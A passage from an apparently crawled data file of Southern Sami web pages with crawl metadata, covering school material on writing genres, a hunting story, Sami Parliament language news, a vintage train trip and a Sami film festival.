tjïrrehtieh.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Healsoe-jih-hokse\/Ektiedahkoereforme\/","date":"2018-04-22T06:42:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945497.22\/warc\/CC-MAIN-20180422061121-20180422081121-00218.warc.gz","language":"sma","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000064373016357}","num_words":212,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kronihkesne tjaelije jïjtse åssjaldahki jïh mïeli bïjre tjaala. Tjaelije maahta viehkie-vierhtieh nuhtjedh goh ironije, speatjadimmieh jïh gïeleldh guvvieh.\nMij kronihke?\nKronihke akte plaerie-sjangere mij ussjedammes jïh edtja mijjem bïevnedh. Gellien aejkien tjaelije kronihkem tjaaleme goh akte digkiedimmie-lahtese.\nKronihke mahte seamma goh artihkele, men faageles sisvegem åtna. Kronihke gellie bielieh aktede aamhtesistie vuesehte. Hijven kronihke dellie lohkije dïjrem guarkoe jalts ij maam akt aamhtesen bïjre daejrieh. Kronihke edtja mijjem skreejredh akten aamhtesen bïjre ussjedidh jïh aamhtesem jieniebijstie bielijste vuejnedh.\nKronihkesne tjaelije maahta viehkie-vierhtieh nuhtjedh goh ironije, speatjadimmie jïh guvvieh. Baakoe-veeljeme maahta mijjem bååhperostedh.\nKronihkh maehtebe plaerine jïh gaske-viermesne gaavnedh. Doh jeenemes kronihkh, mah åarjel-saemien gïelesne tjaaleme, maehtebe Saemiedigkien nedte-sæjrojne gaavnedh.\nBaakoeh\nSaemien\nDaaroen\nspeatjadimmie\noverdrivelse\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nLohkije-tjaalegeKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\n- Kjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:182859","date":"2019-04-22T15:00:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00185.warc.gz","language":"sma","language_score":0.9998915195,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998915195465088}","num_words":180,"character_repetition_ratio":0.153,"word_repetition_ratio":0.0,"special_characters_ratio":0.113,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jïjnjh mah ektie-spïelem jïh ektiedimmiem aktene ektie-bïejeme tjaalegisnie sjugniedieh. Daelie edtjebe komposisjovnem, jievkehtimmiem jïh bïevnese-ektiedimmiem veelebe vuartasjidh.\n1. Komposisjovne (hammoe)\nGuktie plaerie-sæjroe vååjnoe maahta lohkijem vuesiehtidh mij lea ektesne, jïh lohkijem viehkiehtidh vaaksjoehtidh dennie ektie-bïejeme tjaalegisnie. Naemhtie guktie akte plaerie-sæjroe lea öörnedamme, soptseste vuesiehtimmien gaavhtan mah guvvieh jïh bijjie-tjaalegh mah leah ektesne, jïh mah aamhtesh mah vihkeles. Åtnoe vuestie-bielijste jeerehtsem sæjrosne sjugnede jïh lohkijen ïedtjem gååske.\n2. Jievkehtimmie\nIj gåaredh gaajhkh tjaalegh åehpiedehtedh naemhtie guktie mijjieh bijjie-guvviem gaajhkeste åadtjobe dallegh. Gærjine tjoerebe vuesiehtimmien gaavhtan plaeriedidh. Aaj håaleminie, filmine jallh laavloeminie åadtjobe sisvegem daejredh ånnetji ånnetji. Ihke mijjieh edtjebe dagkerh teeksth dååjredh goh dah leah iktemearan, dellie tjuara biehkieh årrodh mah mubpesth jeahtasuvvieh jïh mah aktem såarhts rööpses laejkiem sjugniedieh teeksten tjïrrh. Melodije jïh refrenge laavloeminie\/ vueline\/ joejkine leah dagkerh såarhts biehkieh.\nLearoe-gærjine akte jïebne jeerehtse tjaelemen, guvviej jïh grafihkeles biehkiej gaskem dejnie ovmessie sæjrojne mah jievkehtimmiem jïh mierieh lohkemasse vedtieh. Klaerieh dejnie grafihkeles biehkine aaj ektiedimmiem sjugniedieh. Vihkeles hoksedh gaajhkh sæjroeh eah eevre seammalaakan vååjnh, juktie dellie lohkije sæjhta tuhtjedh dah leah akte-laaketje jïh ovrovne. Gosse jievkehtimmie tsööpkesåvva dellie jeerehtse sjædta, jïh lohkije tjöödtjeste jïh våårkehke sjædta. Akte dagkeres tsoepkenasse åadtjobe vuesiehtimmien gaavhtan fïerhten aejkien mijjieh akten orre kapihtelasse båetebe aktene learoe-gærjesne. Daesnie bïeljelimmiem åadtjobe mij akt orre båata, sïejhmemes viehkine aktede stoerre bijjie-tjaalegistie, guvveste, teekste-burhtjeste jïh muvhten aejkien orre klaerijste.\n3. Bïevnese-ektiedimmie\nMijjieh gåajhtsadibie guvvieh, tjaelemem, soptsestimmiem jïh jeatjah biehkieh goh akte iktemearan tjaalege raaktan dan åvteste dah leah seamma sæjjan bïejesovveme (brosjyre, plaerie-sæjroe), dan åvteste dah seamma tïjjen åehpiedehteme sjidtieh (musihke jïh tjoejh akten filmese), jallh dan åvteste dah sinsitniem dåaradellieh (sæjroeh gærjesne, tjoevke-guvvieh PowerPoint-boelhkesne). Dan åvteste mijjieh gåajhtsadibie dam ektie-bïejeme tjaalegem goh akte ektievoete, ibie fïerhtem bieliem fïereguhtene haeresne toelhkesth, men dam ektesne vuejnebe dejnie jeatjah teekstine. Ektie-spïele dej ovmessie hammoej gaskem aktene ektie-bïejeme teekstesne gohtjebe bïevenese-ektiedimmie jallh mïeleektie-spïele.\nBaakoeh\nSaemien\nDaaroen\nektie-spïelh\nsamspill\nektie-bïejeme\nsammensatt\njievkehtimmie\nrytme\nbïevnese-ektiedimmie\ninformasjonskobling\nbijjie-tjaalege\noverskrift\nïedtje\ninteresse\nbijjie-guvvie\noversiktsbilde\nmubpesth jeahtasuvvieh\nblir gjentatt\nmierie\nramme\ntsoepkenasse\nbrudd\nteekste-burhtje\ntekstboks\nmïeleektie-spïele\nbetydningssamspill\nGuvvie-raajroeKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:175143\/topic:1:175146\/resource:1:172759","date":"2019-04-25T22:42:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578742415.81\/warc\/CC-MAIN-20190425213812-20190425235812-00231.warc.gz","language":"sma","language_score":0.9999933243,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999933242797852}","num_words":329,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kristoffer Marsfjell, Laakesvuemeste, daam soptsesem soptsestamme. Soptsese lea gærjeste Saemien lohkeme-gærja maam Knut Bergsland jïh Gustav Hasselbrink tjaaleme.\nSaemie aaj maahta röövrem provhkedh\nAkten jaepien dellie manne lim jaakten leejjeme. Jeejnesh limh, laedtieh lin jïh manne lim oktegh saemie. Men dellie minngemes biejjien dellie lin göökte sarvh mejtie edtjebe vuetjedh. Men idtjimh dam daejrieh, gustie edtjebe dejtie gaavnedh. Dellie manne oktegh dan biejjiem vualkam, pååjkem meatan vaaltam mubpene edtja dïhte vuejiehtidh. Jïh dellie vualkam gusnie idtjin goh jeatjebh jaehkieh ahte naan sarve lij, manne deejrim sarve desnie, jallh aerviedim.\nJaa, vaadtsajimen hïejmeste, klåhkoe lij tjïjhtje aereden. Jïh dellie seedtem pååjkem, edtja vaedtsedh. Dïhte ojhte vualka numhtie vaedtsien guktie manne jeahteme. Mov lij bïenje. Manne vaadtsam akten sæjjan, tjihkedem. Dellie måjhtijem, ij amma daesnie gujht edtjh. Mubpien sæjjan vaadtsam, idtjim manne daejrieh gogkoe båetieh: jïjnjh sijjieh gogkoe guetsieh. Jaa dellie gåalmeden sæjjan vaadtsam jïh dle dïsse tjöödtjestem, ussjedem: noerhtelen, dellie edtjem manne bïenjeste vuejnedh — jis åarjelen, jillelen mov, dellie edtjem aaj bïenjeste vuejnedh. Desnie leam tjåadtjoestamme ånnetji, dellie bïenje njööneli, njuenie bæjjese. Guerkehtem dallah, dellie sarvh båetieh.\nDellie tjåadtjoem desnie vuartesjem, geehtem bïenjen njueniem. Dellie vuaptan sjïdtem, duelie noerhtelen mov båetieh. Manne vaarrestem destie gusnie leam tjåadtjoeminie, akten jalladahken nuelesne, nille. Dïsse båatam, dellie vuajnijem, duelie mænngele tjuedtjele dehtie boelteste dan vååltesasse jïh dle dïsse tjöödtjeste. Nåå, manne leam dellie riejries, dallah dellie edtjem vuetjedh, men dellie mubpie jis båata: servies. Dïhte aaj tjöödtjeste baalte. Dellie måjhtijem, ussjedem, manne edtjem dejtie gåabpatjahkide utnedh, men im goh desnie edtjh vuetjedh (johkoe jis aktem vuatjam, dellie mubpie maahta bååstide don boeltese tjaangedh, dellie maahtam dam dassedh). Edtjem vuertedh goske vuelkieh buereben sæjjan.\nJaa ojhte gujht, ånnetji tjöödtjestem, dellie feerieh hajken. Nov manne gujht aaj roehtestem jïh vaarrem minngesne. Men måjhtijem gujht ahte jis hïnnem dahkoe båetedh, dan akten vihties sæjjan, dellie edtjem vuejnedh gosse dam vååltesem hejkieh luvlelen. Goh manne dïsse båatam, dellie johke-låemie lij gaskesne. Dellie dah lin joe dam johke-låemiem hïnneme vaesedh jïh mubpiem bieliem båetieh bæjjese. Goh dellie båetieh dehtie johke-låemeste. Edtjieh bæjjese, dellie speanjoe dagkoe åvtelisnie, dellie dan nualan tjöödtjestieh. Nåå, manne gujht dellie dallah skööhtem dan uvtemassese. Dallah goh manne vuatjam, dellie dïhte njulhtjie, edtja bijjelen dam speanjoem dïhte. Aa, men dïhte skuehtie, idtji gujht dïhte rïektes skuehtie.\nNåå feeri gujht goetsen, mænngele lij dïhte. Servies dïhte tjöödtjesti dïsse. Dïsse vuatjam mubpien skuehtiem. Nåå, dïhte jårra, åejjie lij bæjjese, dellie jårra våålese, mov vuestelen. Praare jis lij dïhte, dellie nimhtie dïsse tjöödtjeste. Mænngele jis vualka. Nåå, bïenje-rïejhpem leam gïetesne steereminie, seamma gïetesne mejnie leam röövrem steereminie. Nåå, bïenje vuajna, dohte barre feerie, nåå dïhte gujht dellie fuahpan sjædta, jïh dellie struvkie dam gåalmeden skuehtiem: dïhte barre deavese dam mov åvtem. Nåå, dellie gujht skodtem dam nealjedem skuehtiem dam mænngalasse vuatjam. Dallah goh krööhkestem skuehtiem loeves, dellie ussjedem, jaa ih gujht datne jienebem daarpesjh. Jïh dellie jårrem viht dan sarvan gåajkoe, dïhte tjåadtjoeminie seamma-laakan. Nåå vuatjam dellie dïsse, men dïhte gujht dellie jårreli. Dellh edtjem varki dejnie vïjhtedinie skuehtine dam dellie mænngelem vaeltedh, dellie vuejnedh gåabph dïhte im vielie vuejnieh. Dellema fuahpan sjïdtem, dïhte joe hïnneme dom plueviem rastah jïh skåaken sïjse, mubpene bielesne. Desnie tjahkesjeminie leam, dellh vuajnam, nieljie juelkieh bijjene vearaldisnie speehkeminie. Åå jaa, guerkehtem: jårrelamme lij dïhte aaj.\nBaakoeh\nSaemien\nDaaroen\njaakte\njakt\nklåhkoe\nklokke\nnjöönelidh\nlukte, være\nmænnele\nelgku\nservies\ngraokse\ndellh, dellema\nstraks\njohkoe, jutie\nfordi\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\n- Kjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:177132","date":"2019-04-19T17:16:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00329.warc.gz","language":"sma","language_score":0.999977231,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999772310256958}","num_words":613,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.036,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan biejjien siebriedahkesne gellie kuvlturh loevt-laaketjh jielieh. Siebriedahke mijjem tsavtsa jïh ibie daelie ajve saemesth, jallh ibie ajve saemien vaarjoeh nuhtjh.\nÅarjel-saemien gïele-dajve\nMijjieh hov åarjelsaemien-gïelem soptsestibie jïh mijjen gïele-dajve Nöörjesne lea Saltfjellet luvhtie noerhtelisnie Elgåen gåajkoe Hedmaarhkesne åerjielisnie.\nÅarjel-saemien gïelen göökte åejvie-smaaregh.\nNoerhte åarjel-saemien, aaj gohtjeme Sjeltie (Vaapste, Gaala, Aarborte, Bindaelie, Nåamesje Nöörjesne, Vapsten Dearnesne, Vualtjere, Frööstege Sveerjesne).\nÅarjel åarjel-saemien, aaj gohtjeme Jïemhte (dajve Snåasen jïh Verdalen gaskem,Meråker Nöörjesne, Hotagen, Offerdaelie, Njaarke, Kall, Skalstugan, Såaka jïh Härjedalen Sveerjesne)\nLissine mijjieh maehtebe saemien-gïelem utnedh voestes-gïeline jallh mubpien-gïeline.\nJienebe-gïelen siebriedahke\nDaan biejjien siebriedahkesne gellie gïelh gååvnesieh. Jienebe-gïelen siebriedahke lea akte siebriedahke gusnie almetjh ovmessie gïelh soptsestieh, jïh dah ovmessie gïelh ektesne jielieh. Dagkerinie siebriedahkesne daamhtah almetjh aktem ektie gïelem nuhtjieh gosse edtjieh govlesadtedh.\nJienebegïelevoeteKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502\/topic:1:176815","date":"2019-04-22T15:10:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00331.warc.gz","language":"sma","language_score":0.9999631643,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999631643295288}","num_words":123,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse edtjh aelkedh tjaeledh dle vihkeles aktem disposisjovnem voestegh darjodh. Disposisjovnem darjodh sæjhta jiehtedh tsiehkie-baakoeh våålese tjaeledh dan bïjre maam edtjh jiehtedh, jïh mennie öörnegisnie.\nSaaht maam teemide datne leah veeljeme, dov åehpiedehteme edtja golme boelhkh utnedh: aalkoe, åejvie-boelhke jïh galhkuve.\nAalkoe\nAalkoen ulmie lea uvtemes gaskesem sjugniedidh goltelæjjajgujmie. Aalkoe edtja aaj goltelæjjide tjetskehke darjodh dan bïjre maam sïjhth jiehtedh. Aelkieh vuesiehtimmien gaavhtan aktine gyhtjelassine mij provoserede, akte lustes soptsesinie jallh aktine vihties vuesiehtimmine. Dellie goltelæjjah eadtjohke sjidtieh dallatjinie. Datne byörh aaj goltelæjjide ryöjrehtidh dïsse mij båata, jïh teemam åehpiedehtedh man bïjre edtjh soptsestidh. Dastegh edtjh aktem veelebe åehpiedehtemem hööltedh, byörh aaj neebnedh mennie öörnegisnie datne leah ussjedamme åejvie-tsiehkiej bïjre soptsestidh. Jis aktem sjïere vuajnoem teeman bïjre veeljeme, datne aalkoelisnie dov veeljemem buerkesth.\nÅejvie-boelhke\nDaesnie veelebelaakan fïereguhten tsiehkien bïjre soptsesth. Datne maahtah tsiehkide joekehtslaakan öörnedidh, vuesiehtimmien gaavhtan vihkelesvoeten mietie. Jis edtjh aktem heannadimmiem jallh barkoe-prosessem buerkiestidh, dellie tïjje akte tjïelke veeljeme. Dellie heannadimmiem jallh barkoem buerkesth dennie öörnegisnie aath sjugniehtuvvieh.\nSåemies raerieh\nDov goltelæjjah buerebelaakan guarkah jïh mujhtieh maam jeahtah, dastegh væjkele vuesiehtimmieh nuhtjedh. Aaj væjsehke jis maahtah dam orre datne åehpiedahtah, mejnie akt viertiestidh datne daajrah goltelæjjah aarebistie demtieh. Naemhtie goltelæjjide \"tsegkieh\" vadtah mejtie dah maehtieh dam orre daajroem gævnjodh. Mujhtieh aaj goltelæjjah joekoen varke åajaldehtieh maam jeahteme. Aellieh soptsesth fer gellie tsiehkiej bïjre, tjïelkesth buerebh dejtie tsiehkide mejtie veeljeme, jïh hoksh vihkeles poengh mubpesth jiehtedh åehpiedehtiemisnie.\nGalhkuve\nGalhkuve ij edtjh naan orre tsiehkieh utnedh. Vuestelen maahtah væjsehke årrodh aktine åenehks iktedimmine båetedh destie maam jeahteme. Maahtah aaj illedahkh buektedh, jïjtjedh vuajnoem vihtiestidh jallh haestieminie båetedh – gaajhke dov aajkoen mietie åehpiedehtieminie.\nBaakoeh\nSaemien\nDaaroen\nvuestelen\nderimot, tvert i mot","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181865\/topic:1:181665\/resource:1:181693","date":"2019-04-24T11:23:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578640839.82\/warc\/CC-MAIN-20190424094510-20190424115459-00041.warc.gz","language":"sma","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000007152557373}","num_words":270,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akte stuvremedåehkie lea tseegkesovveme IYIL 2019:se gusnie gaskem jeatjah gaajhkh tjïjhtje aalkoealmetjedajvh jïh doh staath mah leah dejtie ektiedamme, leah meatan. Saemiedigkiepresidente Aili Keskitalo lea aalkoealmetji tjirkije Arktiske dajven åvteste, jïh akte dejstie åvtehkijstie stuvremedåehkesne.\nUlmie aalkoealmetjesïelejaepine lea aalkoealmetjegielide våajnoes darjodh jïh tsiehkiem daejtie gïelide eevtjedh. Veartenen medtie 7000 gïelijste, jienebh stoerretjuetie gïelh maehtieh gaarvanidh jïh gellieh leah joe gaarvanamme.\nAalkoealmetjegïelh aktene joekoen nåake tsiehkesne. Medtie 2680 gïelh leah håvhtadamme gïelh. UNESCO:n læstosne håvhtadamme gïeli bijjeli, saemien gïelh leah vuarjasjamme goh håvhtadamme jallh itjmies håvhtadamme gïelh.\n- Noerhtesaemien håvhtadamme gïele\n- Julev-, kildin-, åarjel-, inari- jïh skoltesaemien leah joekoen håvhtadamme gïelh.\n- Ter-, upmeje- jïh pijtesaemien leah itjmies håvhtadamme gïelh\nLissine akkala-kemisaemien vuajnalgamme goh gaarvanamme gïelh UNESCSO:n læstosne gïeli bijjeli.\nAalkoealmetjegïeli gaskenasjonaale jaepien tjïrrh edtja aalkoealmetjegïelh våajnoes darjodh vïjhte åejviesuerkiej tjïrrh:\n- Vielie goerkese, liktemebarkoe jïh gaskenasjonaale laavenjostoe ovmessie ïedtjeladtji gaskem\n- Hijven tsiehkieh tseegkedh juktie daajroem juekedh jïh guhkiebasse bievnedh, mah aalkoealmetjh krööhkestieh.\n- Aalkoealmetjegïelh sjïehtesjidh jienebelåhkoegielide jïh aalkoealmetjegïelh meatan vaeltedh nasjonaale politihken sïjse, nasjonaale strategijesoejkesjh jïh nænnoestimmieh\n- Sjïehteladtedh tseegkemen tjïrrh kapasiteeteste\n- Lissiehtimmie jïh evtiedimmie orre daajroen tjïrrh\nLes mer om det internasjonale året for urfolksspråk på denne nettsiden:\nLohkh vielie aalkoealmetjegïeli gaskenasjonaale jaepien bïjre daennie nedtesæjrosne:\nSæjrosne vielie bïevnesh jïh aaj kaarhtem gaavnh mij vuesehte mah öörnedimmieh mah leah ektiedamme IYIL 2019:se.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.saemiedigkie.no\/Dienesjh2\/Giele\/Aalkoealmetjegieli-gaskenasjonaale-jaepie-IYIL-2019","date":"2019-08-22T15:40:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317274.5\/warc\/CC-MAIN-20190822151657-20190822173657-00357.warc.gz","language":"sma","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000035762786865}","num_words":206,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Daate akte aavoebiejjie. Saemien gïelh leah væhtine mijjen ektievoetese, mijjen aarpan jïh mijjen ektiedæmman mijjen maadtojde. Gïeli tjïrrh aktem identiteetem jïh ektiedimmiem åådtje, saaht maam saemien gïelide maam haalvoe jallh man vaenie jallh jïjnje gïelide haalvoe, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nSaemiedigkieraerie lea stïeresne bæjhkoehtimmesne pijtesaemien tjaelemegïeleste Silvermuseumisnie Aarjepluevesne, Sveerje, gusnie mïerhkesjimmie aalka ts. 15.00. Saemiedigkieh Sveerjesne jïh Nöörjesne leah vuajneme daerpies pijtesaemien tjaelemegïelem normeradidh. Saemien parlamentarihkeles raerie (SPR) normeradimmielaavenjassem Saemien Gïelegaaltijasse vedti, noerhtelaanti ektie faage- jïh vierhtiejarnge saemien gïelide.\n– Nöörjen Saemiedigkien bieleste sïjhtem lïhtsegidie gijhtedh Saemien Gïelegaaltijen pijtesaemien moenehtsisnie, jïh abpe pijtesaemien gïelesiebriedahkem læhkohtem. Mov håhkoe lea gaajhkesh mah bidumsámegiella nuhtjieh dam orre ortografijem åtnose vaeltieh, Mikkelsen jeahta.\nGoerehtalleme saemien gielijste\nSaemiedigkien akte sjïere dïedte saemien gïelh eevtjedh jïh ulmine åtna saemien gïelh edtjieh govledh, åtnasovvedh jïh vååjnedh siebriedahkesne. Saemiedigkien stoerretjåanghkoe nænnoesti goeven 2018 Gïelelutnjeme\/Giellalåpptim\/Giellalokten – Saemiedigkien strategijh saemien gïelide, mij lea illedahke dehtie guhkiebasse barkoste NBS 2016:18 Vaajmoegïele.\nGïelelutnjemen tjïrrh Saemiedigkie lea dïedtem vaalteme daan beajjetje tsiehkiem goerehtalledh upmeje-, pijte- jïh skoltesaemien gïelide, jïh vuartasjidh mah vierhtieh mah maehtieh viehkiehtidh åtnoem daejstie gïelijste lissiehtidh.\n– Akte goerehtalleme sæjhta mijjese buerebe våaromem vedtedh gïeleråajvarimmiejgujmie nïerhkedh dejnie sjyöhtehke byjresinie, jïh mij sæjhta bijjieguvviem vedtedh dan barkoen bijjelen mij lea dorjesovveme jïh ovmessie geajnoej bïjre dennie guhkiebasse barkosne jieliehtimmesne\nUpmeje-, pijte- jïh skoltesaemien gïelijste. Daan biejjien daejrebe pijtesaemien gïele lea (re)vitaliseradimmieprosessesne nöörjen bielesne, Mikkelsen jeahta.\nSaemiedigkieraerie daam barkoem åvtese geasa goh akte hijven vuesiehtimmie mannasinie vihkeles jïh daerpies gïelenormeradimmien bïjre laavenjostedh laanteraastaj rastah.\n– Juktie maehtedh saemien gïelh vaarjelidh jïh evtiedidh tjuara ihkuve råajvarimmieh utnedh. Akte vuesiehtimmie dagkeres råajvaræmman lea ihkuve normeradimmieårgaanem tseegkedh. Saemiedigkiej ulmie lea Saemien Gïelegaaltijem tseegkedh goh ektie ihkuve normeradimmieårgaane jaepien 2020, Mikkelsen minngemosth jeahta.\nJis gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen, +47 917 42 161, email@example.com","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Aavoebiejjie-pijtesaemien-gielesiebriedahkese","date":"2019-09-20T21:02:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574077.39\/warc\/CC-MAIN-20190920200607-20190920222607-00276.warc.gz","language":"sma","language_score":0.9999843836,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999843835830688}","num_words":279,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bearjadahken gaskebiejjien åehpies raajroe Di-3 maadtegen staelie-våågnigujmie Röörosen raajroesæjjan båata.\nLea Norsk Jernbaneklubb mij sæjhta daam raajroe-juhtemem öörnedh. Juktie daan jaepien Norsk Jernbaneklubb 50 jaepien båeries sjædta jïh dannasinie sæjhta onnetje heevehtidh jïh daam raajroe-juhtemem öörnedh.\n-Mijjieh edtjebe båeries el-faamoes raajroem, diesel-raajroem jïh gåava-raajroem vuejedh, Norsk Jernbaneklubb preessebïevnesisnie jeahta.\nSkïereden 20. biejjien raejeste 22. biejjien raajan dellie vïjhteden jïh minngemes raajroe-juhteme öörnesåvva. Båeries diesel-raajroe jïh maadtegen staelievåågnh-raajroe edtjieh Trööndelagesne mïnnedh.\n-Daate lea Norsk Jernbanemuseumen Staelievåågnh-raajroe mij edtjebe mueseeuminie jïh Jernbanemuseets Venner'inie vuejedh. Skïereden 20. biejjien bearjadahken raajroe-juhteme Hamarisnie aalka jïh Elverumen, Röörosen jïh Tråanten baaktoe jåhta. Laavadahken Nordlanden ruvhteraajroegæjnoen mietie Grongese vuejebe jïh bååstede Tråantese. Aejlegen bååstede Hamarasse båetebe, Dovren bijjelen juhtebe jïh aaj edtjebe Bjorlisne mïnnedh, Norsk Jernbaneklubb preessebïevnesisnie jeahta.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/rorosnytt.no\/aehpies-raajroe-roorosasse-baata\/","date":"2019-10-20T07:21:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986703625.46\/warc\/CC-MAIN-20191020053545-20191020081045-00034.warc.gz","language":"sma","language_score":0.999964118,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999641180038452}","num_words":117,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stig Eebre Somby Aajegisnie barka jïh daan tjaktjen dïhte edtja aktem saemien filmh-festivaalem Röörosisnie öörnedh. Lea prograamme maanide, noeride jih geervide dunnie saemien filmh-festivaalesne. Rahkan 8.biejjien raejeste 10.biejjien raajan saemien filmh-festivaale edtja öörnesovvedh\nDïhte jeahta saemien filmh-festivaale lea akte öövre orre festivaale. Juktie jaepien 2017 dillie dah dagkeres filmebiejjie Röörosen kinosne utnin. Dah tuhtjin öövre luste dam darjodh jïh dellie sïjhtin pryövedh saemien filmh-festivaalem darjodh. Daate lea aaj maam-joem maam Raasten Rastah guhkiem ussjedamme, dan åvteste Raasten Rastah lea fïerhten mubpien jaepien öörnesovveme 